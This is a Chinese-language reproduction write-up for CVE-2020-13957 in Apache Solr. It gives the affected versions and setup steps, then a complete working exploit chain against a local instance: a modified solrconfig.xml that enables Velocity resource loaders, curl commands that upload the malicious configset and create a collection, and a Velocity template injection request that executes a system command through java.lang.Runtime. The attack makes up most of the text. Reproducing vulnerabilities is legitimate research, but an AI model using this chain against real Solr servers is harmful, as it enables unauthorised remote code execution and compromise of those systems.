寫在前面
復現時發現不需要通過baseConfigSet基於惡意配置創建新的配置即可完成復現,並不是很多文章說需要二次創建惡意配置,有師傅也表達了自己的疑問,后面再單獨寫分析的文章,這篇在草稿箱躺太久了。
准備環境
下載
CVE-2020-13957影響范圍: Apache Solr 6.6.0 to 6.6.5、7.0.0 to 7.7.3、8.0.0 to 8.6.2
官方下載地址:Apache-Solr,本次漏洞復現下載影響范圍內的8.0.0,解壓既用。
啟動
該漏洞需要以cloud模式運行Solr,同時Solr-API不能開啟認證
./solr start -e cloud #cloud模式啟動
./solr stop -all #需要重啟時可用該命令停止全部solr進程
利用思路
利用UPLOAD上傳惡意配置->用惡意配置創建新的collection->執行RCE
,由於ConfigSet API存在未授權上傳漏洞,可以利用該漏洞實現遠程代碼執行。
准備攻擊配置文件並打包
進入/solr-8.0.0/server/solr/configsets/sample_techproducts_configs/conf/
目錄下修改solrconfig.xml如下內容:
原配置內容:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str name="template.base.dir">${velocity.template.base.dir:}</str>
</queryResponseWriter>
修改后:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str name="template.base.dir">${velocity.template.base.dir:}</str>
<str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str>
<str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str>
</queryResponseWriter>
修改完成后在當前目錄下打包即可:zip -r -* > myconfig.zip
漏洞復現
1.上傳惡意配置,通過UPLOAD上傳剛剛打包好的myconfig.zip,並命名為myconfignew。
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfig.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=myconfignew"
2.創建collection,利用剛剛上傳並命名的myconfignew來CREATE一個新的collection:mytestcollection。
curl -v "http://localhost:8983/solr/admin/collections?action=CREATE&name=mytestcollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myconfignew"
3.利用
GET /solr/mytestcollection/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 0
參考
[1]https://github.com/Imanfeng/Apache-Solr-RCE
[2]https://www.safedog.cn/news.html?id=4515